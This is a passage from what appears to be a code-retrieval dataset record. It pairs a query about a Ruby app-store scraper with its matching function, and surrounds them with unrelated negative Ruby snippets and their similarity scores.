"def calc_v(x, n, g)\n modpow(g, x, n)\n end",
"def inc(v = 1)\n sync { @v += v }\n end",
"def N\n @y += 1\n end",
"def c1= c; @c1 = (c == 1) ? 1 : 0; end",
"def sub_vob _value=0\n send_cmd(\"sub_vob #{_value}\")\n end",
"def y=(_); end",
"def y=(_); end",
"def neginv(b) return \"@SP\\nA=M-1\\nM=\"+b+\"M\\n\" end",
"def verdi; end",
"def two\n end",
"def some_method\n p val += 1\nend",
"def cond02 v \n unless v == 10\n return \"v: #{v} es diferente de 10\"\n else\n return \"v: #{v} es 10\"\n end\nend",
"def sovp(v)\n max = 32\n v = max if v > max\n v = (v * 10)\n v = \"%03u\" % v\n cmd(\"SOVP#{v}\")\n end",
"def establish_v\n puts \"How many games of Rock Paper Scissors would you like to play?\"\n v = (gets.to_i/2) + 1\n puts \"Okay! You will have to win \" + v.to_s + \" games to be the CHAMPION!\"\n puts\n return v\n end",
"def vif # variance inflation factor\n @vif ||= 1 / ( 1 - r2 )\n end",
"def opcode8\n if value_by_mode(1) == value_by_mode(2)\n update_value(1, 3)\n else\n update_value(0, 3)\n end\n move_pointer(4)\n end",
"def y() self[1]; end",
"def vin; end",
"def par(x)\n x % 2 == 0\nend",
"def set_next_veg(vgg)\n\t# Check if the next vegetable to eat is valid\n\t#check_veg(vgg)\n\t\n\t$cur_veg = vgg\nend",
"def x; end",
"def x; end",
"def x; end",
"def x; end",
"def x; end",
"def bound_vy(vy) return 0 end",
"def x() @x end",
"def z() self[2]; end",
"def atk; param(2); end",
"def b; end",
"def b; end",
"def native_eva\n 5\n end",
"def p2tv(vd, a)\n assert(vd <= 2 * PI && vd >= 0)\n d = vd + 0.5 * PI\n if d > 2 * PI\n d -= 2 * PI\n end\n Vct.new_dr(d, a)\n end",
"def resume_discard_past=(v); end",
"def current_value; end",
"def foo2\r\n puts '|a;x|'\r\n x = 1\r\n 1.times { |a;x|\r\n puts \"in-x = #{x}\"\r\n x = 2\r\n }\r\n \r\n puts \"x = #{x}\"\r\n puts\r\nend",
"def method a=\r\n\t3\r\n\t1\r\nend",
"def y=(_arg0); end",
"def x\n 0\n end",
"def interpret\r\n return __________________ # <<2\r\n end",
"def par(x)\r\n\t(x % 2 ==0) ? (return true):(return false)\r\nend",
"def S\n @y -= 1\n end",
"def mev; xparam(4); end",
"def send(v)\n self.signal(0,v)\n end",
"def test_value\n assert_equal 4095, @flag.value\n assert_equal 0, @flag_zero.value\n end",
"def gotof(bool, jump) #method\n if !get_value(bool)\n @quad_number = jump - 1\n end\n end",
"def w=(val); self[2] = val; end",
"def vector_value(x, y)\n\t\t@board[x+y*3]\n\tend",
"def m(v)\n v % 0x100000000\n end",
"def m(v)\n v % 0x100000000\n end",
"def []=(i,b)\n b = (b && b!=0) ? 1 : 0\n @v &= ~(1 << i)\n @v |= (b << i)\n b\n end",
"def bi_rand(v)\n rand(2) > 1 ? v : nil\n end",
"def inc_b\n end",
"def stime=(*) end",
"def |(p0) end",
"def |(p0) end",
"def |(p0) end",
"def |(p0) end",
"def |(p0) end",
"def |(p0) end",
"def a\n\tb\nend",
"def vprint(text)\n print text if $verbose\nend",
"def y\n end",
"def y\n end",
"def method &block \r\n\t1\r\nend",
"def with_transitional_values\n a = b = 1\n 3.upto(@n) do\n c = a + b\n a = b\n b = c\n end\n\n #puts \"answer is %d\" % b\n end",
"def aes_bit(vector, n)\n (vector >> n) & 1\n end",
"def pv(fv, n, r)\n fv*(1.0/((1+r)**n))\nend",
"def vpi0!\n put_value(Vpi0, VpiScalarVal)\n end",
"def method(int)\n\t\treturn int*2\n\tend",
"def vprint str\n print(str) if VERBOSE\nend",
"def y!() @y.value end",
"def m3; 3 end",
"def sammy(vel)\nend"
] | [
"0.695779",
"0.6316852",
"0.63024235",
"0.5955223",
"0.5919705",
"0.58733815",
"0.58577675",
"0.579769",
"0.57556415",
"0.5745734",
"0.5708207",
"0.56844825",
"0.5670293",
"0.5641198",
"0.5620955",
"0.55852556",
"0.5546423",
"0.553099",
"0.5525058",
"0.5504558",
"0.5497411",
"0.54738975",
"0.54738975",
"0.54738975",
"0.54260135",
"0.54222107",
"0.5397036",
"0.5393304",
"0.5379847",
"0.5378784",
"0.5366666",
"0.5364571",
"0.53639495",
"0.53639495",
"0.536236",
"0.53609914",
"0.5344733",
"0.53277093",
"0.5314697",
"0.5304177",
"0.52972895",
"0.52962697",
"0.52829003",
"0.52816683",
"0.52762926",
"0.52746797",
"0.5270936",
"0.52505326",
"0.52505326",
"0.52505326",
"0.52505326",
"0.52505326",
"0.5240188",
"0.52096385",
"0.5205447",
"0.5183984",
"0.5183235",
"0.5183235",
"0.51831913",
"0.5177526",
"0.5177475",
"0.51770234",
"0.5167827",
"0.5165913",
"0.5157101",
"0.51545656",
"0.5154327",
"0.51524204",
"0.5152186",
"0.51423496",
"0.51376516",
"0.51261115",
"0.51204157",
"0.511798",
"0.51179403",
"0.5108537",
"0.5104575",
"0.50992775",
"0.50973564",
"0.5089486",
"0.50893533",
"0.50862044",
"0.50862044",
"0.50862044",
"0.50862044",
"0.50862044",
"0.50862044",
"0.50856185",
"0.507962",
"0.5068591",
"0.5068591",
"0.506806",
"0.5058445",
"0.5050771",
"0.5047027",
"0.5045727",
"0.50393647",
"0.50385493",
"0.50360835",
"0.5035372",
"0.50347716"
] | 0.0 | -1 |
usage: ruby scrapper.rb query filter [free|paid] sort [relevance|popularity] | def start_scrapping
query = ARGV.first
if query.nil?
puts "Lo estas haciendo mal!"
puts "Sintaxis: ruby scrapper.rb query --filter [free|paid] --sort [relevance|popularity]"
else
filter = "no_filter"
sort = nil
pages = 2
start_time = Time.now
sort = "relevance"
filter = ARGV[(ARGV.index "--filter") + 1] unless (ARGV.index "--filter").nil?
sort = ARGV[(ARGV.index "--sort") + 1] unless (ARGV.index "--sort").nil?
pages = ARGV[(ARGV.index "--pages") + 1].to_i unless (ARGV.index "--pages").nil?
apps = search(query, {:filter => filter, :sort => sort, :pages => pages})
puts ""
puts "Obteniendo datos de las aplicaciones."
puts ""
apps.each do |app|
print "#{app.name} "
prev_time = Time.now
obtain_app_details app
print "(#{Time.now-prev_time} s)"
puts ""
end
open("#{query}-apps.csv", "a") { |f|
f.puts "Nombre,Url,Precio,DwnMin,DwnMax,DwnAvg,Espacio"
apps.each do |app|
f.puts "#{app.name},#{app.url},#{app.price},#{app.downloads_min},#{app.downloads_max},#{app.downloads_avg},#{app.size}"
end
}
puts ""
puts "Finalizado en #{Time.now - start_time} s"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def search\n\t \n\t \n\t # get the parameters from URL \n # products/?keywords=food&min_price=2\n # filter the output to avoid SQL injection\n @safe_keywords = params[:keywords].gsub(/[^0-9a-z\\ ]/i, '') if params[:keywords].present? \n @safe_category_id = params[:category_id].to_i if params[:category_id].present? \n @safe_animal_id = params[:animal_id].to_i if params[:animal_id].present? \n @safe_min_price = params[:min_price].to_i if params[:min_price].present?\n @safe_max_price = params[:max_price].to_i if params[:max_price].present?\n\t @safe_sort_by = 0;\n\t @safe_sort_by = params[:sort_by].to_i if params[:sort_by].present?\n\n\t # generate the SQL search\n\t if @safe_sort_by == 3 # sort by price (highest to lowest)\n \tproducts = Product.order(:price).reverse_order\n\t elsif @safe_sort_by == 2 # sort by price (lowest to hightest)\n \tproducts = Product.order(:price)\n\t elsif @safe_sort_by == 1 # sort by keywords (Z to A)\n \tproducts = Product.order(:name).reverse_order\n\t else # otherwise & default 0. sort by keywords (A to Z)\n \tproducts = Product.order(:name)\n\t end\n\t \n\t products = products.where(\"name like ? OR description like ?\",\n\t\t \t\t\t\t\t\t\"%#{@safe_keywords}%\",\n\t\t \t\t\t\t\t\t\"%#{@safe_keywords}%\") if @safe_keywords.present?\n products = products.where(category_id: @safe_category_id) if @safe_category_id.present?\n products = products.where(animal_id: @safe_animal_id) if @safe_animal_id.present?\n products = products.where(\"price >= ?\", @safe_min_price) if @safe_min_price.present?\n products = products.where(\"price <= ?\", @safe_max_price) if @safe_max_price.present?\n\n # return the result\n products\n end",
"def search query, sort_by=nil, relevance=nil, offset=nil, count=nil, language=nil\n function = 'search/'\n\n params = {}\n params[:q] = query\n params[:s] = sort_by if sort_by\n params[:relevance] = relevance if relevance\n params[:offset] = offset if offset\n params[:count] = count if count\n params[:language] = language if language\n\n request(@resource, function, params)\n end",
"def get_query\n \n # Get query parameters passed\n query_params = request.query_parameters\n \n # Initialize query with country from route\n query = {'country' => params[:country]}\n \n # Allowed search terms, only these keys are searchable \n search_keys = ['name', 'a_id', 'pub_id', 'device', 'min_price', 'max_price',\n 'pub_name', 'min_app_rating', 'max_app_rating',\n 'category', 'sub_category', 'interests_only']\n \n # Iterate through the keys, determine if the params match the key and if so \n # add a condition to the query\n search_keys.each do |key|\n param = query_params[key]\n \n # Make sure the parameter is defined \n next unless param\n \n #logger.info('key %s, param %s' % [key, param])\n \n # handlers for different keys\n case key\n when 'a_id', 'pub_id'\n # IDs are floats so convert\n query[key] = query_params[key].to_f\n when 'name', 'pub_name'\n # Do regex match on names so you can match substring\n query[key] = /#{query_params[key]}/\n when 'min_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$gte] = param.to_f\n when 'max_price'\n query['amount'] = {} unless query['amount']\n query['amount'][:$lte] = param.to_f\n when 'min_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$gte] = param.to_f\n when 'max_app_rating'\n query['total_average_rating'] = {} unless query['total_average_rating']\n query['total_average_rating'][:$lte] = param.to_f\n when 'interests_only'\n interest_query = []\n param.split(',').each do |interest|\n interest_query << {:interests => interest}\n end\n # And filter only the apps that have either one of the interests\n query[:$and] = [{:$or => interest_query}]\n else\n # Deals with all the parameters that are specified and match with\n # the model attributes\n query[key] = param\n end\n end\n \n return query\n end",
"def search(query); end",
"def index\n \n sort = case params['sort']\n when \"manufacturer\" then \"manufacturer\"\n when \"product\" then \"product\"\n when \"type\" then \"type\"\n when \"manufacturer_reverse\" then \"manufacturer DESC\"\n when \"product_reverse\" then \"product DESC\"\n when \"type_reverse\" then \"type DESC\"\n else \"manufacturer, type\"\n end\n\n unless params[:query].nil?\n conditions = [\"manufacturer LIKE ?\", \"%#{params[:query]}%\"] \n end\n \n unless params[:oss].nil?\n @type = params[:oss]\n conditions = [\"oss=#{@type}\"]\n end\n \n @total = Product.count(:conditions => conditions)\n \n case @type\n when 'true'\n @products = Product.find(:all, :conditions => conditions, \n :order => sort)\n @title = 'Listing Open Source Products'\n when 'false'\n @products = Product.find(:all, :conditions => conditions, \n :order => sort)\n @title = 'Listing Proprietary Products'\n else\n @products = Product.find(:all, :order => sort)\n @title = 'Listing All Products'\n end\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @products.to_xml }\n end\n end",
"def advancedSort\n @sortField = params[:sortField]#field to search on \n @searchField =params[:searchField]# value to search for\n @sortField2 = params[:sortField2]\n @searchField2 =params[:searchField2]\n @graphField = params[:graphField] #datapoint to build graph around\n \n if @sortField2 == \" \"#check if default second value was changed\n @records = Record.where(@sortField => @searchField) #if not only use the first search field\n else#otherwise use both seach fields\n @records = Record.where(@sortField => @searchField, @sortField2 => @searchField2 )\n end\n @sortedSet = @records.order(@graphField)\n end",
"def search(search,compare,year,rain_fall_type)\n \n # if block starts here\n if search == \"All\"\n # if block starts here\n if rain_fall_type == \"All\"\n where(Year: year).order('id ')\n else\n where(Year: year).order(\"#{rain_fall_type} \")\n end\n # if block end here\n elsif compare == \"Bihar vs District\"\n where(\"Districts = ? OR Districts = ?\", search, \"Bihar\").where(\"year = ?\", year).order(:id)\n else\n # if block starts here\n \n if rain_fall_type == \"All\"\n where(\"Districts = ? \", search).where(\"year = ?\", year).order(:id)\n else\n where(\"Districts = ? \", search).where(\"year = ?\", year).order(rain_fall_type)\n end\n # if block end here\n \n end\n # if block end here\n \n \n end",
"def searchUsing(filter)\n @zqlQuery = filter\n end",
"def index\n @search = Item.search(params[:q])\n @search.sorts = 'name asc' if @search.sorts.empty?\n @items = @search.result\n if params[:q].present?\n params[:q].each do |k, v| \n if v == 'name asc'\n @items = @search.result.sort { |p1, p2| p1.name.downcase <=> p2.name.downcase }\n elsif v == 'name desc'\n @items = @search.result.sort { |p2, p1| p1.name.downcase <=> p2.name.downcase }\n end\n end\n end\n end",
"def sort_and_search(loans)\n if search_param\n @loans = loans.list_with_loan_type_and_client.order(\"#{sort_column_param} #{sort_order_param}\").simple_search search_param\n else\n @loans = loans.list_with_loan_type_and_client.order(\"#{sort_column_param} #{sort_order_param}\")\n end\n end",
"def each( args )\n\t\tsortby = args.select{ |v| v =~ /^[\\+\\-].*$/ }\n\t\tfilters = args-sortby\n\t\tstatuses = filters.select{ |i| @options.status.include?( i ) }\n\t\t#statuses = filters.select{ |i| @tags.include?( i ) }\n\t\tif statuses.length > 0\n\t\t\tfiltered = @cache.select{ |i| statuses.include?( i.data.status ) }\n\t\telse\n\t\t\tfiltered = @cache\n\t\tend\n\t\tsorted = filtered\n\t\tif sortby.length > 0\n\t\t\tsort = sortby[0][1, 100]\n\t\t\tdir = '+'==sortby[0][0,1] ? 1 : -1\n\t\t\tputs \"#{dir} #{sort} #{sortby[0][0]}\"\n\t\t\tsorted = filtered.sort{ |a,b| dir * (a.data.send( sort )<=> b.data.send( sort )) } \n\t\tend\n\t\tsorted.each do |i|\n\t\t\tyield( i )\n\t\tend\n\tend",
"def sortinate(sort_param)\n\tfoodstores = FoodStore.all\t\n\tif sort_param == \"sarapp_rating\"\n\t\treturn foodstores.sort_by(&:sarapp_rating)\n\telsif sort_param == \"ambience\"\n\t\treturn foodstores.sort_by(&:ambience_average)\t\n\telsif sort_param == \"foodquality\"\n\t\treturn foodstores.sort_by(&:foodquality_average)\t\n\telsif sort_param == \"service\"\n\t\treturn foodstores.sort_by(&:service_average)\t\n\telsif sort_param == \"pricing\"\n\t\treturn foodstores.sort_by(&:pricing_average)\t\n\telsif sort_param == \"ratings\"\n\t\treturn foodstores.sort_by(&:num_of_rating)\t\n end\n end",
"def search_by_priority(params, client)\n books, total = client.search params_find_by_author(params[:query]), page(params), PER_PAGE\n if total == 0\n books, total = client.search params_find_by_subject(params[:query]), page(params), PER_PAGE\n end\n\n if total == 0\n books, total = client.search params[:query], page(params), PER_PAGE\n end\n\n [books, total]\n end",
"def search(type, query='*:*', args={}, &block)\n raise ArgumentError, \"Type must be a string or a symbol!\" unless (type.kind_of?(String) || type.kind_of?(Symbol))\n\n sort = args.include?(:sort) ? args[:sort] : 'X_CHEF_id_CHEF_X asc'\n start = args.include?(:start) ? args[:start] : 0\n rows = args.include?(:rows) ? args[:rows] : 1000\n query_string = \"search/#{type}?q=#{escape(query)}&sort=#{escape(sort)}&start=#{escape(start)}&rows=#{escape(rows)}\"\n if args[:keys]\n response = @rest.post_rest(query_string, args[:keys])\n response_rows = response['rows'].map { |row| row['data'] }\n else\n response = @rest.get_rest(query_string)\n response_rows = response['rows']\n end\n if block\n response_rows.each { |o| block.call(o) unless o.nil?}\n unless (response[\"start\"] + response_rows.length) >= response[\"total\"]\n nstart = response[\"start\"] + rows\n args_hash = {\n :keys => args[:keys],\n :sort => sort,\n :start => nstart,\n :rows => rows\n }\n search(type, query, args_hash, &block)\n end\n true\n else\n [ response_rows, response[\"start\"], response[\"total\"] ]\n end\n end",
"def search\n @results = Tool.ordered_by(params[:order])\n\n if params[:q].present?\n @results = @results.search(params[:q])\n end\n\n if Tool::ALLOWED_TYPES.include?(params[:type])\n @results = @results.where(type: params[:type])\n end\n\n @results = @results.offset(@start).limit(@items)\n\n @total = @results.count(:all)\n end",
"def index\n #Checks if there is a category to filter by to decide whether to filter\n if params[:category_filter].nil? || params[:category_filter] == \"All\"\n @items = Item.all.paginate(:page => params[:page], per_page: 9)\n else\n @filter = params[:category_filter]\n @items = Item.all.where(category: @filter).paginate(:page => params[:page], per_page: 9)\n end\n #Depending on the order type it called and sorts by the type\n if params[:sortype] == \"expensive\"\n expensive\n elsif params[:sortype] == \"cheapest\"\n cheapest\n elsif params[:sortype] == \"bestrated\"\n bestrated\n elsif params[:sortype] == \"lowestrated\"\n lowestrated\n end\n end",
"def index\n\n @options = [\"Price - Low -> High\", \"Price - High -> Low\", \"No Sort\"]\n\n if params[:order].nil?\n helpers.clearTerm\n end\n\n @term = helpers.giveTerm\n\n if params[:term]\n @products = Product.where('lower(substancename) LIKE ?', \"%#{params[:term].downcase}%\")\n helpers.searchTerm(params[:term])\n elsif [email protected]?\n @products = Product.where('lower(substancename) LIKE ?', \"%#{@term.downcase}%\")\n else\n @products = Product.all\n end\n\n if !params[:order].nil? && params[:order] == \"0\"\n @products = @products.order(:price).paginate(page: params[:page], per_page: 30)\n @ordering = \"Price - Low -> High\"\n elsif !params[:order].nil? && params[:order] == \"1\"\n @products = @products.order(price: :desc).paginate(page: params[:page], per_page: 30)\n @ordering = \"Price - High -> Low\"\n else\n @products = @products.paginate(page: params[:page], per_page: 30)\n @ordering = \"No Ordering\"\n end\n\n\n end",
"def filter\n @filter = params[:q]\n end",
"def search\n\n # define the elasticsearch result \"size\" (limit)\n limit = params['limit'].to_i\n # define the elasticsearch result \"from\" (offset)\n offset = params['offset'].to_i\n # Pass through\n hack = params['hack']\n # Default output\n searchResults = ''\n # If we have filters, we need to parse them\n if params['filters'].present?\n filters = []\n # For each of the filters format them and stuff them into an array\n params['filters'].each do |key, filter|\n\n if [\n 'properties.educationalAlignment.properties.targetName',\n 'properties.inLanguage',\n 'properties.isBasedOnUrl',\n 'properties.thumbnailUrl',\n 'properties.timeRequired',\n 'properties.typicalAgeRange',\n 'properties.url',\n 'properties.useRightsUrl'\n ].include?(key)\n searchKey = \"schema-org.#{key}.original\"\n matchTerm = 'term'\n else\n searchKey = \"schema-org.#{key}\"\n matchTerm = 'match'\n end\n\n if filter.keys.count > 1\n # This is more complex because this filter type needs the keys or'd together\n orFilters = []\n filter.keys.each do |f|\n orFilters << { 'query' => { matchTerm => { searchKey => f.to_s } } }\n end\n filters << { 'or' => orFilters }\n else\n # This should be simple, there is only one of this filter key\n filters << { 'query' => { matchTerm => { searchKey => filter.keys.first.to_s } } }\n end\n end\n\n # If the query is present we need to match it\n if params['query'].present?\n query = { 'match' => { '_all' => params['query'] } }\n filter = { 'and' => filters }\n # If no query is present then we can wildcard against anything\n else\n query = { 'match_all' => { } }\n filter = { 'and' => filters }\n end\n # if not filter is present then just match against query\n else\n query = { 'match' => { '_all' => params['query'] } }\n end\n\n # Build the payload from the various parts\n payload = {\n 'size' => limit,\n 'from' => offset,\n 'query' => {\n 'filtered' => {\n 'query' => query,\n 'filter' => filter\n }\n },\n \"facets\" => {\n \"intendedEndUserRole\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.intendedEndUserRole.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"typicalAgeRange\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.typicalAgeRange.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"educationalUse\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.educationalUse.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"interactivityType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.interactivityType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"learningResourceType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.learningResourceType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n },\n \"mediaType\" => {\n \"terms\" => {\n \"field\" => \"schema-org.properties.mediaType.original\",\n \"global\" => true,\n \"all_terms\" => true\n }\n }\n }\n }\n\n#puts \"PAYLOAD\"; puts Rails.configuration.elastic_search_url; puts payload.to_json\n\n # Okay after all that mess, lets make the request\n request = RestClient::Request.new( :method => :get, :url => Rails.configuration.elastic_search_url, :payload => payload.to_json )\n # Since this can error lets catch it\n begin\n searchResults = request.execute\n results = JSON.parse(searchResults)\n results[:hack] = hack\n\n#puts \"RESPONSE\"; puts results.to_json\n\n respond_to do |format|\n format.json { render json: results }\n end\n rescue => e\n # @TODO Need to return the correct error type and then an error message to be shown to user.\n respond_to do |format|\n format.json { render json: searchResults }\n end\n#puts \"ERROR!\"; puts e.response\n end\n\n end",
"def generate_search_query(per_page)\n q = Replay.select(\"DISTINCT(replays.*)\").public.processed.includes(:event, :plays, :players)\n \n player_id = nil\n if params[:player] =~ /\\A#\\d+\\z/\n player_id = params[:player][1..-1].to_i\n end\n\n if player_id\n q = q.joins(:plays).where(:plays => {:player_id => player_id})\n elsif !params[:player].blank?\n q = q.joins(:players).where(\"players.name ILIKE ?\", \"%#{params[:player]}%\")\n else\n end\n \n unless params[:league].blank?\n q = q.joins(:players).where(\"players.league_1v1 = ?\", params[:league])\n end\n \n unless params[:gateway].blank?\n q = q.where(\"replays.gateway = ?\", params[:gateway])\n end\n \n unless params[:map].blank?\n q = q.where(\"replays.map_name LIKE ?\", \"%#{params[:map]}%\")\n end\n \n unless params[:version].blank?\n q = q.where(:version => params[:version])\n end\n \n unless params[:game_format].blank?\n q = q.where(:game_format => params[:game_format])\n end\n \n mu = params[:mu]\n @any = false\n if mu == \"tvp\"\n q = q.where(:terrans => 1, :protosses => 1, :zergs => 0)\n elsif mu == \"tvz\"\n q = q.where(:terrans => 1, :protosses => 0, :zergs => 1)\n elsif mu == \"pvz\"\n q = q.where(:terrans => 0, :protosses => 1, :zergs => 1)\n elsif mu == \"tvt\"\n q = q.where(:terrans => 2, :protosses => 0, :zergs => 0)\n elsif mu == \"pvp\"\n q = q.where(:terrans => 0, :protosses => 2, :zergs => 0)\n elsif mu == \"zvz\"\n q = q.where(:terrans => 0, :protosses => 0, :zergs => 2)\n else\n @any = true\n end\n \n if params[:order] == \"date_posted\"\n q = q.order(\"replays.created_at DESC\")\n elsif params[:order] == \"date_played\"\n q = q.order(\"replays.saved_at DESC\")\n elsif params[:order] == \"downloads\"\n q = q.order(\"replays.downloads DESC\")\n elsif params[:order] == \"comments\"\n q = q.order(\"replays.comments_count DESC\")\n else\n q = q.recent\n params[:order] = \"date_posted\"\n end\n \n # @replays = q.includes(:plays => [:player]).paginate(:per_page => 5, :page => params[:page])\n @replays = q.paginate(:per_page => per_page, :page => params[:page])\n end",
"def search(query, options = {}); end",
"def run_query(terms)\n return Book.run_search(terms)\nend",
"def index\n order = params[:sort] || 'published_date'\n order = 'order_count' if order == 'popularity'\n\n @q = Book.order(order).ransack(params[:q])\n\n @books = @q.result.page params[:page]\n end",
"def index\n\n @search=params[:search]\n @sort=params[:sort]\n if @search\n @items=Item.where('breed LIKE ?','%'+@search)\n if @sort=='price_asc'\n @[email protected]('price DESC')\n elsif @sort=='price_desc'\n @[email protected]('price ASC')\n elsif @sort=='age_asc'\n @[email protected]('age DESC')\n elsif @sort=='age_desc'\n @[email protected]('age ASC')\n end\n if params[:sort]==nil\n @items = @items.order('created_at DESC')\n end\n if @sort== 'distance'\n @items = @items.order('created_at DESC')\n @items.each do |dog|\n @google=GoogleMapsAPI::DistanceMatrix.calculate([current_user.zip],[dog.zip],{:units=>'imperial'})\n dog.distance= @google.rows[0].elements[0].distance\n end\n @[email protected]{|a,b| a.distance.to_i <=> b.distance.to_i}\n end\n else\n if @sort=='price_asc'\n @items=Item.order('price DESC')\n elsif @sort=='price_desc'\n @items=Item.order('price ASC')\n elsif @sort=='age_asc'\n @items=Item.order('age DESC')\n elsif @sort=='age_desc'\n @items=Item.order('age ASC')\n end\n if params[:sort]==nil\n @items = Item.order('created_at DESC')\n end\n if @sort== 'distance'\n @items = Item.order('created_at DESC')\n @items.each do |dog|\n @google=GoogleMapsAPI::DistanceMatrix.calculate([current_user.zip],[dog.zip],{:units=>'imperial'})\n dog.distance= @google.rows[0].elements[0].distance\n end\n @[email protected]{|a,b| a.distance.to_i <=> b.distance.to_i}\n end\n end\n\n @items = @items.paginate(:page => params[:page])\n end",
"def index\n @search = search_params\n @results = InstructorInfo.order(\"RANDOM()\").limit(12)\n @tutor_reviews = Review.last(12).reverse\n unless @search[:min_rating].empty?\n @results = @results.where(\"avg_rating >= ?\", @search[:min_rating])\n end\n unless @search[:join_at].empty?\n if @search[:join_at] == \"半年内\"\n @results = @results.where(created_at: 6.month.ago..Date.today())\n elsif @search[:join_at] == \"半年到一年\"\n @results = @results.where(created_at: 1.year.ago..6.month.ago)\n elsif @search[:join_at] == \"一年以上\"\n @results = @results.where('created_at < ?', 1.year.ago)\n end\n end\n unless @search[:price_range] == '0,1000'\n min, max = @search[:price_range].split(',')\n @results = @results.where(price_base: min..max)\n end\n unless @search[:service].empty?\n or_results = nil\n for service in @search[:service]\n if service == \"早期咨询\"\n tmp = @results.where(is_early_consult: true)\n elsif service == \"头脑风暴\"\n tmp = @results.where(is_brainstorm_consult: true)\n elsif service == \"文书改写\"\n tmp = @results.where(is_essay_consult: true)\n elsif service == \"签证咨询\"\n tmp = @results.where(is_visa_consult: true)\n end\n or_results = or_results.nil? ? tmp : or_results.or(tmp)\n end\n @results = or_results\n end\n unless @search[:available_time].empty?\n end\n end",
"def index\n @search_name = params[:search_name]\n\n # INICIO RANSACK\n @query = Supplier.ransack(params[:q]) \n @query.num_doc_cont = @search_name if @search_name.present?\n\n # PAGINACION Y ORDEN\n @results = @query.result(distinct: true).paginate(:page => params[:page] )\n \n # RESULTADO FINAL\n @suppliers = @results \n end",
"def index\n \n orderBy = \"\"\n\n\tif(params[:sort] == \"titleAsc\")\n\t\torderBy = \"title asc\"\n\telsif (params[:sort] == \"titleDesc\")\n\t\torderBy = \"title desc\"\n\telsif (params[:sort] == \"rateAsc\")\n\t\torderBy = \"rating asc\"\n\telsif (params[:sort] == \"rateDesc\")\n\t\torderBy = \"rating desc\"\n\tend\n\t\n if params[:search] != \"\"\n \n\t if (params[:filter_genre] == \"All\" && params[:filter_rating] == \"\")\n\t \t\t@movies = Movie.search(params[:search]).order(orderBy)\n\telsif (params[:filter_genre] && params[:filter_rating] == \"\")\n\t\t@movies = Movie.searchFiltGenre(params[:search], params[:filter_genre]).order(orderBy)\n\telsif (params[:filter_rating] && params[:filter_genre] == \"All\")\n\t \t@movies = Movie.searchFiltRate(params[:search], params[:filter_rating]).order(orderBy)\n\telsif (params[:filter_genre] && params[:filter_rating])\n\t\t@movies = Movie.searchFiltBoth(params[:search], params[:filter_genre], params[:filter_rating]).order(orderBy)\n\telse\n\t\t@movies = Movie.search(params[:search]).order(orderBy)\n\tend\n\t\n\telse\n\tif (params[:filter_genre] == \"All\" && params[:filter_rating] == \"\")\n\t\t\t@movies = Movie.all.order(orderBy)\t\n\telsif (params[:filter_genre] && params[:filter_rating] == \"\")\n\t\t@movies = Movie.filterGenre(params[:filter_genre]).order(orderBy)\t\t\n\telsif (params[:filter_rating] && params[:filter_genre] == \"All\")\n\t\t@movies = Movie.filterRating(params[:filter_rating]).order(orderBy)\t\n\telsif (params[:filter_genre] && params[:filter_rating])\n\t\t@movies = Movie.filter(params[:filter_genre], params[:filter_rating]).order(orderBy)\t\n\telse \n\t@movies = Movie.all\n\tend\n\t\n\tend\nend",
"def sort_results(results)\n case @metadata[:sort]\n when \"new\"\n results.sort_by do |c|\n [c.set.regular? ? 0 : 1, -c.release_date_i, c.default_sort_index]\n end\n when \"old\"\n results.sort_by do |c|\n [c.set.regular? ? 0 : 1, c.release_date_i, c.default_sort_index]\n end\n when \"newall\"\n results.sort_by do |c|\n [-c.release_date_i, c.default_sort_index]\n end\n when \"oldall\"\n results.sort_by do |c|\n [c.release_date_i, c.default_sort_index]\n end\n when \"cmc\"\n results.sort_by do |c|\n [c.cmc ? 0 : 1, -c.cmc.to_i, c.default_sort_index]\n end\n when \"pow\"\n results.sort_by do |c|\n [c.power ? 0 : 1, -c.power.to_i, c.default_sort_index]\n end\n when \"tou\"\n results.sort_by do |c|\n [c.toughness ? 0 : 1, -c.toughness.to_i, c.default_sort_index]\n end\n when \"rand\"\n results.sort_by do |c|\n [Digest::MD5.hexdigest(@query_string + c.name), c.default_sort_index]\n end\n when \"number\"\n results.sort_by do |c|\n [c.set.name, c.number.to_i, c.number, c.default_sort_index]\n end\n when \"color\"\n results.sort_by do |c|\n [COLOR_ORDER.fetch(c.colors), c.default_sort_index]\n end\n when \"ci\"\n results.sort_by do |c|\n [COLOR_ORDER.fetch(c.color_identity), c.default_sort_index]\n end\n when \"rarity\"\n results.sort_by do |c|\n [-c.rarity_code, c.default_sort_index]\n end\n else # \"name\" or unknown key\n results.sort_by(&:default_sort_index)\n end\n end",
"def index\n\t\t@products = Product.search(params[:search]).filter_category(params[:filter_category]).filter_types(params[:types]).filter_volume(params[:minvol], params[:maxvol]).filter_length(params[:minlen], params[:maxlen]).filter_width(params[:minwid], params[:maxwid]).filter_height(params[:minheig], params[:maxheig]).filter_diameter(params[:mindiam], params[:maxdiam]).filter_cover(params[:cover]).order(params.fetch(:sort, \"position ASC\"))\n end",
